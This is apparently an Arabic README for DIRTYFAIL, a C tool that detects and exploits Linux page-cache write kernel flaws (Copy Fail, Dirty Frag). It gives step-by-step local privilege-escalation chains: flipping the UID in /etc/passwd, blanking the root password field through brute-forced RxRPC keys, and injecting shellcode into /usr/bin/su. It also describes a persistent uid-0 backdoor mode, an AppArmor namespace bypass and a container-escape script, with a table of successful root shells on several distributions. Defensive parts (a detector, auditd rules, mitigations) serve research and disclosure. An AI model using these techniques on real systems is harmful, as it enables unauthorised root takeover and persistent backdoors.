
أداة كشف + PoC لثغرات كتابة ذاكرة التخزين المؤقت للصفحات في Linux: Copy Fail (CVE-2026-31431) و Dirty Frag (CVE-2026-43284/43500). لأغراض البحث الأمني المصرح به فقط.
أداة كشف موحّدة ومنصة اختبار لإثبات المفهوم (PoC) لعائلتَي Copy Fail و Dirty Frag الخاصتين بثغرات الكتابة في ذاكرة التخزين المؤقت للصفحات في لينكس.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAIL هي أداة صغيرة مكتوبة بلغة C وموثّقة جيدًا لباحثي الأمن.
تكتشف ما إذا كان مضيف Linux معرّضًا للثغرات الثلاث في هذه
العائلة، ومع — تأكيد صريح مكتوب — تشغّل إثبات
مفهوم حقيقيًا يلقي بالمتصل في شيل جذر على نظام معرّض.
| CVE / الاختلاف | الاسم | تغطية DIRTYFAIL |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (كتابة في ذاكرة التخزين المؤقت للصفحات عبر algif_aead وبوحدة `authencesn`) | كشف + PoC كامل |
| **CVE-2026-43284 v4** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر IPv4 xfrm-ESP | كشف + PoC كامل |
| **CVE-2026-43284 v6** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر IPv6 xfrm-ESP (`esp6`) | كشف + PoC كامل |
| **CVE-2026-43500** | Dirty Frag — كتابة في ذاكرة التخزين المؤقت للصفحات عبر RxRPC | كشف + PoC كامل |
| Copy Fail GCM variant | كتابة في ذاكرة التخزين المؤقت للصفحات عبر xfrm-ESP `rfc4106(gcm(aes))` | كشف + PoC كامل |
**أوضاع إضافية:**
- **`--scan --active`** — استطلاعات نشطة للتخزين عبر ملف حارس (sentinel-STORE). الاستطلاع الافتراضي `--scan` يبلّغ عن الشروط المسبقة لكل ثغرة (النواة، الوحدات، حالة LSM) بالإضافة إلى استطلاع نشط لآلية Copy Fail البدائية. إضافة `--active` توسّع استطلاع STORE عبر الملف الحارس ليشمل البدائل الأربعة الأخرى (ESP v4 وESP v6 وRxRPC وGCM): كل منها يُطلق مشغّل النواة ضد ملف حارس في `/tmp` ويبلّغ عن VULNERABLE فقط إذا هبطت بايتات العلامة فعليًا. هذه هي الطريقة الوحيدة للتمييز بين نواة مطبَّق عليها تصحيح backported (الشروط المسبقة تقول معرّضة لكن الاستطلاع يقول سليمة) وبين نواة غير مصححة دون تشغيل الاستغلال الكامل. لا يُلمس `/etc/passwd` أبدًا. يعاير تلقائيًا إزاحة STORE لـ V6 حسب بناء النواة.
- **`--exploit-backdoor`** — باب خلفي دائم بصلاحيات uid-0: استبدال بطول مطابق لسطر `nologin`/`false`/`sync` في `/etc/passwd` بـ `dirtyfail::0:0:<pad>:/:/bin/bash`. يستمر بعد خروج الشيل حتى يتم إخلاء الصفحة. تُخزَّن الحالة في `/var/tmp/.dirtyfail.state` لأجل `--cleanup-backdoor`. اسم المستخدم `dirtyfail` مُطابَق عمدًا مع هذا المشروع بحيث يمكن التعرف عليه فورًا في أي تدقيق — غيّر `NEW_USER` في `src/backdoor.c` إذا كنت بحاجة إلى معرّف مختلف لمهمة red-team مصرّح بها.
- **تجاوز AppArmor** — يُبطل سياسة Ubuntu القائمة على `apparmor_restrict_unprivileged_userns=1` عبر إعادة تنفيذ قفزة واحدة `change_onexec("crun")` إلى ملف تعريف غير مقيد (unconfined) يحتفظ بصلاحيات userns. كل وضع استغلال يتعامل مع هذا داخليًا عبر fork: يبقى الأب في namespace init، ويقوم الابن برقصة التجاوز، ويقرأ الأب ذاكرة التخزين المؤقت العامة للصفحات ويشغّل `su` للحصول على جذر init-ns حقيقي. ما تزال العلامة القديمة `--aa-bypass` موجودة لتصحيح أخطاء آلية التجاوز بمعزل. انظر [§8.5 البنية](#85-architecture-outerinner-fork-based-bypass).
## تم التحقق من العمل على
تم التحقق من DIRTYFAIL **تجريبيًا من البداية إلى النهاية** عبر عدة
توزيعات وإصدارات نواة. تعكس المصفوفة أدناه نتائج الاختبار لكل وضع من
تشغيل كل وضع `--exploit-*` ضد تثبيت نظيف لكل توزيعة.
| التوزيعة | النواة | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | الباب الخلفي | shellcode لـ su |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (غير مُختبَر) |
| Debian 13.4 | `6.12.86+deb13` | لا يوجد | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (مُقوّى) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
**المفتاح:** ✅ الاستغلال نجح وأعطى جذر init-ns حقيقي · 🛡 مخفَّف — لا يمكن للاستغلال الوصول إلى ثغرة النواة (النواة مُصحَّحة أو LSM يحجب المسار غير المميز) · ⏭ غير قابل للتطبيق (شرط مسبق مفقود)
### التحقق من الاستطلاع النشط (`--scan --active`)
تُضيف علامة `--active` استطلاع STORE عبر ملف حارس لكل ثغرة أثناء
الاكتشاف. تحقّقنا من مخرجات الاستطلاع ضد نفس التوزيعات الأربع
أعلاه (Debian وFedora وAlmaLinux وUbuntu 26.04) — المصفوفة أدناه
تعرض نتيجة الاستطلاع لكل وضع وتطابق الحقيقة الأرضية للاستغلال الكامل واحد لواحد:
| التوزيعة | استطلاع Copy Fail | استطلاع ESP v4 | استطلاع ESP v6 | استطلاع RxRPC | استطلاع GCM |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 | intact 🛡 |
| Fedora 44 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | byte change ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marker @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | preconds ⏭ | sentinel changed ✅ |
| Ubuntu 26.04 | intact 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 | LSM-blocked 🛡 |
إن إزاحة هبوط STORE لاستطلاع V6 (8 على Fedora وAlma) تطابق
القيمة التجريبية `V6_STORE_SHIFT` التي يكتشفها `calibrate_v6_shift()` في
وقت التشغيل — مما يؤكد أن المعايرة التلقائية تستبدل الثابت
المُرمَّز مسبقًا بشكل صحيح عبر بناءات النواة.
¹ يتطلب وضعا GCM والـ Backdoor أن تكون وحدة `algif_aead` قابلة للتحميل. يأتي Ubuntu 24.04 مع ملف `/etc/modprobe.d/disable-algif_aead.conf` الذي يدرجها في القائمة السوداء كتخفيف لثغرة Copy Fail. عند إزالة القائمة السوداء (مثلًا على نواة سابقة لتطبيق التخفيف)، يعمل كلا الوضعين من البداية إلى النهاية.
² مسار algif_aead الخاص بـ Copy Fail مخفَّف عبر القائمة السوداء لـ modprobe؛ آلية الثغرة الأساسية في النواة هي نفسها سواء كان `authencesn` قابلاً للوصول أم لا. تستقر xfrm-ESP وRxRPC ومتغير GCM جميعها على نفس النواة لأنها لا تمر عبر algif_aead.
³ حزمة `kernel-modules-extra` في AlmaLinux 10 غير مثبتة افتراضيًا في تثبيت Minimal، لذلك يكون `rxrpc.ko` مفقودًا على القرص. تثبيت `kernel-modules-extra-$(uname -r)` من EPEL أو مستودع AlmaLinux الإضافي يعيد الوحدة؛ وعلى تثبيت Minimal قياسي يكون RxRPC غير قابل للوصول.
⁴ **يعمل Ubuntu 26.04 LTS على منع الاستغلال غير المميز بشكل شامل.**
النواة المُرفقة `7.0.0-15.15` (صدرت في 2026-04-22) **تسبق
تصحيح السلسلة الرئيسية `f4c50a4034e6` (المدمج في 2026-05-07) بنحو أسبوعين** — لذا
فالثغرة ما تزال موجودة فعليًا في النواة. دفاع Ubuntu هو
**الدفاع في العمق عبر تحصين AppArmor**، وليس تصحيحًا للنواة:
- `apparmor_restrict_unprivileged_userns=1` مفعّل افتراضيًا.
- عند `unshare(CLONE_NEWUSER)`، تقوم آلية فرض AppArmor على مستوى النواة
بتحويل تلقائي لأي ملف تعريف (بما في ذلك تلك الموسومة بـ `(unconfined)`
مثل `crun` و`chrome` و`unconfined` الافتراضي) إلى
ملف تعريف فرعي `<profile>//&unprivileged_userns (mixed)` يحتوي على
`audit deny capability`. لا يحصل uid 0 داخل userns الجديد على أي صلاحيات.
- `change_onexec` إلى ملف تعريف مختلف لا يساعد — حتى ملف
تعريف `crun` (الذي لديه صلاحية `userns,` صريحة و
`flags=(unconfined)`) يتحول تلقائيًا عند unshare. تم التحقق عبر
`aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
→ `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) يكتبان uid_map بنجاح،
لكن `setresuid(0)` تنجح بعد ذلك بينما يُعيد `ioctl(SIOCSIFFLAGS)` و
كل استدعاء نظام آخر محكوم بـ CAP_NET_ADMIN قيمة EPERM لأن
رفض الصلاحية يكون لكل namespace وليس لكل uid.
يُجهّز ثنائي DIRTYFAIL آلية التجاوز بشكل صحيح ويصل إلى المرحلة الثانية،
لكنه لا يستطيع الحصول على CAP_NET_ADMIN داخل userns الجديد. البنية
التحتية للاستغلال محجوبة في طبقة LSM بغض النظر عن تقنية التجاوز.
اختبرنا `change_onexec(crun)` و`change_onexec(chrome)` و`aa-exec -p <profile>`
وتنفيذ `unshare(USER|NET) + newuidmap` المباشر — جميعها تنتج نفس
ملف التعريف الفرعي `unprivileged_userns`.
> **هذا عمل أمني جيد من Canonical.** فئة الثغرة مخففة
> للمستخدمين غير المميزين دون الحاجة إلى إعادة بناء النواة.
> من المرجح أن يجلب تحديث مستقر لاحق تصحيح النواة الفعلي أيضًا،
> مكملًا الدفاع.
⁵ **حقن shellcode في `--exploit-su`** يعتمد على نفس آلية Copy Fail البدائية المكونة من 4 بايتات (`cf_4byte_write`). على النوى التي تم فيها تصحيح Copy Fail (Debian 13.4) أو حجبها عبر LSM (Ubuntu 26.04 — لكن مسار algif_aead تم تصحيحه أيضًا في 7.0.0-15)، يتم تنفيذ الزرع لكن خطوة التحقق تفشل ("page cache does not match planted shellcode") ويعيد التراجع التلقائي `/usr/bin/su` إلى حالته. تم الاختبار من البداية إلى النهاية على AlmaLinux 10.1 (نقطة الدخول عند إزاحة الملف `0x45b0`) وFedora 44 (الإزاحة `0x1b60`)؛ يتعامل محلل ELF مع قاعدة PIE لكل توزيعة بشكل مستقل. إثبات الجذر الحقيقي على Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.
إعادة إنتاج الاختبار:
- أعدنا تثبيت كل توزيعة من ISO نظيف، وأعددنا مصادقة مفتاح SSH + sudo بدون كلمة مرور (NOPASSWD)، واستنسخنا وبنينا DIRTYFAIL على كل واحدة، وأخذنا لقطة Parallels باسم `clean-build`، ثم شغّلنا جميع أوضاع الاستغلال الخمسة مع `--no-shell` (تراجع تلقائي عبر fadvise + drop_caches).
- تُشتق صفوف النتائج التجريبية من تحليل مخرجات `--exploit-*` الفعلية، بحثًا عن إشارات النجاح: `page cache now reports <user> with uid 0`، و`root password field is now empty`، و`is now uid 0` (الباب الخلفي)، أو أي من أنماط الفشل (`write did not land`، `byte flip failed`، `setresuid: Invalid`، `add_rxrpc_key: No such device`، `page cache not in expected shape`).
- للتحقق من "الجذر الحقيقي" في وضعي RxRPC والـ Backdoor، نفّذنا `echo "" | su - root` / `echo "" | su - dirtyfail` وأكّدنا `uid=0(root)` بالإضافة إلى قراءة ناجحة لـ `/etc/shadow`.
> **للاستخدام المصرح به فقط.** استخدم DIRTYFAIL فقط على الأنظمة التي تملكها أو
> التي لديك تفويض صريح لتقييمها. أوضاع الاستغلال تُفسد
> `/etc/passwd` *في ذاكرة التخزين المؤقت للنواة* (الملف على القرص لا يُلمس
> أبدًا). التنظيف يكون عبر `dirtyfail --cleanup` أو
> `echo 3 > /proc/sys/vm/drop_caches`.
---
## جدول المحتويات
1. [فئة الثغرة](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
- [4.5 نظرة عامة على البنية](#45-architecture-overview)
5. [البناء](#5-build)
6. [الاستخدام](#6-usage)
7. [كيف يكتشف DIRTYFAIL كل ثغرة CVE](#7-how-dirtyfail-detects-each-cve)
8. [كيف يستغل DIRTYFAIL كل ثغرة CVE](#8-how-dirtyfail-exploits-each-cve)
- [8.5 البنية: تجاوز قائم على fork خارجي/داخلي](#85-architecture-outerinner-fork-based-bypass)
9. [التخفيفات](#9-mitigations)
10. [الأخلاقيات والإفصاح](#10-ethics--disclosure)
11. [الاعتمادات](#11-credits)
**وثائق مصاحبة:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — دليل مسؤول الأنظمة: هل أنا معرّض؟ كيف أخفف؟ ماذا أراقب؟
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — تدقيق في مصدر النواة للمسارات المجاورة (AH، IPCOMP، MACsec، kTLS، إلخ) لنفس فئة الثغرة.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — كاشف bash مستقل لمسؤولي الأنظمة (لا يتطلب ترجمة).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — قواعد auditd جاهزة للتحميل لسلسلة الاستغلال.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — عرض توضيحي لنصف قطر الانفجار عبر المساحات الاسمية (cross-namespace).
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — كود مصدري لـ shellcode بهندسة aarch64 (ARM64) لوضع `--exploit-su`. غير مُختبَر على عتاد حقيقي؛ يُشحن خلف حاجز `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. أعد توليد البايتات المقابلة في `src/exploit_su.c` باستخدام `aarch64-linux-gnu-as` للتحقق.
---
## 1. فئة الثغرة
تسمح ثغرات **الكتابة في ذاكرة التخزين المؤقت للصفحات** لمستخدم غير مميز بتعديل
نسخة النواة في الذاكرة من ملف لا يملك إلا صلاحية القراءة عليه.
لا يُكتب الملف على القرص أبدًا؛ يستمر التعديل في ذاكرة الوصول العشوائي
حتى يتم إخلاء الصفحة (`drop_caches`، أو ضغط الذاكرة، أو إعادة التشغيل).
بدأت هذه الفئة مع **Dirty Pipe** (CVE-2022-0847)، الذي أساء استخدام
أعلام `pipe_buffer`. يُعد Copy Fail وDirty Frag من السلالات التي
تستهدف عضو `frag` في `struct sk_buff` بدلًا من ذلك. الآلية دائمًا هي نفسها:
1. يقوم الفضاء العلوي (userspace) بـ `splice()` لصفحة من ذاكرة التخزين المؤقت للصفحات من ملف قابل للقراءة (مثل `/etc/passwd`، `/usr/bin/su`) إلى frag في حاجز kernel.
2. يقوم مسار الاستقبال بتشفير **في الموضع (in-place)** على ذلك الحاجز — نفس الصفحات تكون مصدرًا ووجهةً للعملية.
3. تقوم روتين التشفير بتنفيذ STORE "مؤقت" خارج منطقة البيانات (إعادة ترتيب رقم تسلسلي، فك تشفير كتلة واحدة، إلخ) يهبط داخل الصفحة المثبتة من قبل المستخدم.
4. أصبحت نسخة ذاكرة التخزين المؤقت للصفحات من الملف الآن معدَّلة بشكل دائم لكل قارئ على المضيف، حتى يتم إخلاء الصفحة.
ولأن الثغرة **خلل منطقي حتمي** وليست سباقًا (race)، فإن معدلات النجاح تبلغ 100% تقريبًا ولا تتعطل النواة عند الفشل.
## 2. CVE-2026-31431 — Copy Fail
* تاريخ الإفصاح: **2026-04-29**
* الموقع: <https://copy.fail/>
* إثبات المفهوم الأصلي (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* إثبات المفهوم الأصلي (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* أُدخل عبر الالتزام (commit): `72548b093ee3` (2017)
* أُصلح عبر الالتزام: `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* الأنظمة المؤكدة تأثرها: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
### السبب الجذري
تكشف وحدة `algif_aead` في النواة واجهة برمجة التشفير AEAD
للفضاء العلوي عبر `AF_ALG`. يطبّق القالب `authencesn(hmac(sha256), cbc(aes))`
معيار RFC-4303 لأرقام التسلسل الموسعة (Extended Sequence Numbers)؛ جزء من
مسار فك التشفير يقوم بعمل **كتابة مؤقتة من 4 بايتات** لإعادة ترتيب
رقم التسلسل:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
إن تعليمة STORE عند ★ غير ضارة على حزمة IPsec عادية — فهي تقع داخل
منطقة الوسم الخاصة بـ skb، وهي مملوكة للنواة. قالب التشفير
يفترض أن src وdst يشيران إلى ذاكرة النواة.
algif_aead ينتهك هذا الافتراض. فهو يقبل splice() من
مساحة المستخدم، مما يزرع صفحات page-cache في
قائمة scatterlist الخاصة بالطلب. ولأن AEAD يعمل في المكان نفسه (req->dst = req->src)،
فإن صفحة page-cache تقع الآن عند إزاحة scatterlist الوجهة
التي تستهدفها الكتابة المؤقتة.
البايتات الأربعة التي تُكتب هي البايتات 4..7 من AAD الذي أرسلته مساحة المستخدم — حقل "seqno_lo" في ترويسة ESP، والذي يملؤه المهاجم بما يشاء.
بدائية شبكة: كتابة 4 بايتات بإزاحة عشوائية في page cache
لأي ملف يمكن للمهاجم فتحه عبر open(O_RDONLY).
أبسط تسليح للثغرة هو في /etc/passwd. سطر المستخدم العادي
يبدو كالتالي:```
kara❌1000:1000:Kara,,,:/home/kara:/bin/bash
قلب `1000` (حقل UID، بالضبط 4 بايتات ASCII لأي UID
1000–9999) إلى `0000` يجعل دالة `getpwnam()` في glibc تُبلغ عن uid=0 لـ
ذلك المستخدم. غير أن PAM ما تزال تصادق ضد ملف
`/etc/shadow` على القرص (وهو غير ممسوس)، لذا يطلب `su <user>`
كلمة المرور الحقيقية، يتحقق منها، ثم `setuid(0)` — ويهبط إلى الجذر
لأن نسخة ذاكرة التخزين المؤقت للصفحات من `/etc/passwd` تقول إننا root.
سلامة `/etc/shadow` محفوظة. النسخة على القرص من `/etc/passwd`
محفوظة. فقط نسخة RAM الخاصة بالنواة من `/etc/passwd` تتلف،
وفقط حتى `drop_caches` أو إعادة التشغيل.
---
## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
* الإفصاح: **2026-04-30 → 2026-05-08**
* النموذج الأصلي (PoC) (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* الباحث: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* تم إدخاله بواسطة الالتزام: `cac2661c53f3` (2017-01-17)
* تم إصلاحه بواسطة الالتزام: `f4c50a4034e6` (mainline net.git, merged 2026-05-07)
* المتأثرة المؤكدة: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
CentOS Stream 10, AlmaLinux 10, Fedora 44
### السبب الجذري
من المفترض أن تستدعي `esp_input()` الدالة `skb_cow_data()` قبل فك تشفير AEAD
في نفس المكان عندما يكون skb غير خطي (أي يحتوي على frags). يحتوي مسار الكود
على اختصار:```c
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
إذا كان لدى skb أجزاء (frags) ولكن لا يوجد frag_list، فإن esp_input يتجاوز
skb_cow_data ويسلّم الجزء المقدّم من المستخدم مباشرة إلى قالب AEAD.
نفس الكتابة المؤقتة authencesn(...) التي تُشغّل Copy
Fail تهبط بعد ذلك عند إزاحة الملف (assoclen + cryptlen) من الصفحة
الموصولة.
البايتات الأربعة المخزّنة STOREd هي seq_hi من حالة replay_esn الخاصة بـ SA —
يتحكم بها المهاجم وقت تسجيل SA عبر
سمة netlink XFRMA_REPLAY_ESN_VAL.
التكلفة: يتطلب تسجيل XFRM SA صلاحية CAP_NET_ADMIN، لذلك
يدخل المهاجم إلى مساحة أسماء مستخدم جديدة عبر unshare(CLONE_NEWUSER)
أولاً. هذا مسموح به افتراضيًا على معظم التوزيعات (الملف الشخصي المُصلّب في Ubuntu
هو الاستثناء البارز).
الأهم من ذلك، تعمل هذه التقنية حتى عندما يكون تخفيف Copy Fail في algif_aead
مُفعّلًا** — مسار xfrm لا يمر عبر algif_aead.
المدافع الذي قام فقط بحظر algif_aead لا يزال عرضة لـ
Dirty Frag.
يكتب PoC المنشور من V4bel ملف ELF ثابت "root-shell" بحجم 192 بايت فوق
أول 192 بايت من ذاكرة التخزين المؤقت لصفحات /usr/bin/su، باستخدام 48 عملية STORE متتالية
بحجم 4 بايت. بعد التعديل، ينفّذ execve("/usr/bin/su")
نقطة دخول ELF الجديدة مع بقاء بت setuid-root سليمًا، ويلغي PAM
تمامًا، وينفّذ execve("/bin/sh") من داخل الـ shellcode.
يتبع DIRTYFAIL نهج قلب UID الأبسط في /etc/passwd (عملية STORE واحدة
بحجم 4 بايت — نفس هدف Copy Fail) لسببين:
POSIX_FADV_DONTNEED ولا يترك
/usr/bin/su في حالة تالفة للمستخدمين الآخرين على
النظام.lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/2dc334f1a63a (2023-06)rxkad_verify_packet_1() يقوم بفك تشفير كتلة واحدة في المكان باستخدام pcbc(fcrypt)
على أول 8 بايتات من حزمة بيانات RxRPC:```c
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
إذا تم إدخال صفحة page-cache في frag الخاص بـ skb، فسيتم تنفيذ فك التشفير ذو 8 بايت
فوقها.
**الفرق عن xfrm-ESP**: الـ 8 بايتات التي تخضع لعملية STORE هي
`fcrypt_decrypt(C, K)`، حيث `C` هو النص المشفر الحالي عند
إزاحة الملف تلك و`K` هو مفتاح الجلسة من رمز RxRPC v1 الذي
سجّله المهاجم عبر `add_key("rxrpc", ...)`. لا يتحكم المهاجم
في قيمة STORE مباشرة — بل يتعين عليه تخمين `K` حتى
يُنتج `fcrypt_decrypt(C, K)` النص الصريح المطلوب.
`fcrypt` هو تشفير من نظام ملفات Andrew بمفتاح **56-بت** و
كتلة من 8 بايت. إنه حتمي؛ وينتقل بسلاسة إلى مساحة المستخدم؛ و
فضاء مفاتيحه صغير بما يكفي لإمكانية تخمين هدف مقيد من 8 بايت
في ميلي ثانية إلى ثوانٍ حسب ميزانية
القيود.
**الأهم من ذلك، أن هذا المسار لا يتطلب امتيازات namespace** —
جميع `add_key` و`socket(AF_RXRPC)` و`socket(AF_ALG)` و`splice` متاحة
لأي مستخدم غير مميز. يسد RxRPC الفجوة على ملف Ubuntu
hardened-userns (حيث يُحظر xfrm-ESP) لأن
`rxrpc.ko` يأتي ضمن بناء Ubuntu الافتراضي.
### الاستغلال
الاستغلال الكامل:
1. قم بتخمين `K_A` و`K_B` و`K_C` في مساحة المستخدم بحيث تُنتج
عمليات STOREs الثلاث عند إزاحات `/etc/passwd` 4 و6 و8 القيم
`"::"` و`"0:"` و`"0:GGGGGG:"` على الترتيب (الكتابة الأخيرة هي التي تفوز).
2. لكل `K_i`، سجّل رمز RxRPC v1 باستخدام `add_key`، ونفّذ
مصافحة AF_RXRPC مزوّرة ضد خادم UDP وهمي في نفس
العملية، وشغّل `rxkad_verify_packet_1` عبر splice.
3. أصبحت نسخة page-cache من السطر الأول في `/etc/passwd` الآن
`root::0:0:GGGGGG:/root:/bin/bash` — حقل كلمة مرور فارغ.
4. تقبل PAM مع `pam_unix.so nullok` كلمة المرور الفارغة؛ ويوفّر `su -`
شلّة بصلاحيات الجذر.
### تغطية DIRTYFAIL
يوفّر DIRTYFAIL **كلاً من** الكشف وPoC كامل لهذا CVE.
يقع تنفيذ DIRTYFAIL في `src/dirtyfrag_rxrpc.c` و
`src/fcrypt.c`:
- **تشفير fcrypt** (`fcrypt.c`): مفتاح 56-بت، كتلة من 8 بايت، شبكة من 16 جولة
Feistel؛ وصناديق S-boxes القياسية لبروتوكول rxkad. يتضمن أداة تخمين أحادية النواة
(~18 Mops/s) تبحث في فضاء المفاتيح حتى
يستوفي نص صريح مرشّح شرطًا يقدمه المتصل.
- **مجموع اختباري rxkad** (`compute_csum_iv`، `compute_cksum`): صيغة النواة
المعاد إنتاجها عبر AF_ALG `pcbc(fcrypt)` بحيث يمر cksum السلكي
في حزمة DATA المزوّرة عبر بوابة `rxkad_verify_packet`.
- **بناء رمز RxRPC v1** (`build_rxrpc_v1_token`): رمز rxkad مُرمّز بـ XDR
ومسجَّل عبر `add_key("rxrpc", ...)` مع
مفتاح الجلسة الذي خمّناه.
- **عميل AF_RXRPC + خادم UDP وهمي**: يبدأ العميل استدعاءً،
ويستخرج الخادم الوهمي (epoch, cid, callNumber) من أول
حزمة ويُصدر تحديًا مزورًا (CHALLENGE) حتى يهيّئ العميل
`conn->rxrpc.cipher` بمفتاحنا.
- **مشغّل Splice** (`do_one_trigger`): vmsplice رأس DATA السلكي المزوّر
header → splice 8 بايت من `/etc/passwd` → أنبوب splice → udp_srv
→ recvmsg يدفع النواة عبر `rxkad_verify_packet_1` → 8 بايت
STORE.
- **سلسلة من 3 عمليات splice مع تصحيح النص المشفر المتسلسل**: تخمين
K_A / K_B / K_C، مع تطبيق إزاحة النص المشفر المتسلسل بين
المرات (بعد أن تستبدل عملية splice A البايتات 4..11، يبدأ النص المشفر لعملية splice B
عند 6..13 بـ `P_A[2..7]`؛ وكذلك الحال بالنسبة لـ C ضد B).
يعيد PoC النهائي تشكيل السطر الأول من `/etc/passwd` إلى:```
root::0:0:GGGGG:/root:/bin/bash
— حقل كلمة مرور فارغ — ثمّ execlp("su", "-") يمنح قشرة بصلاحيات الجذر لأنّ pam_unix.so nullok يقبل كلمة مرور فارغة.
للمقارنة والتحقق مقابل PoC المنبع، انظر
exp.c الخاص بـ V4bel: https://github.com/V4bel/dirtyfrag.
DIRTYFAIL هو ملف ثنائي واحد بلغة C مبني من حوالي 10 وحدات مصدرية. البنية عالية المستوى:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
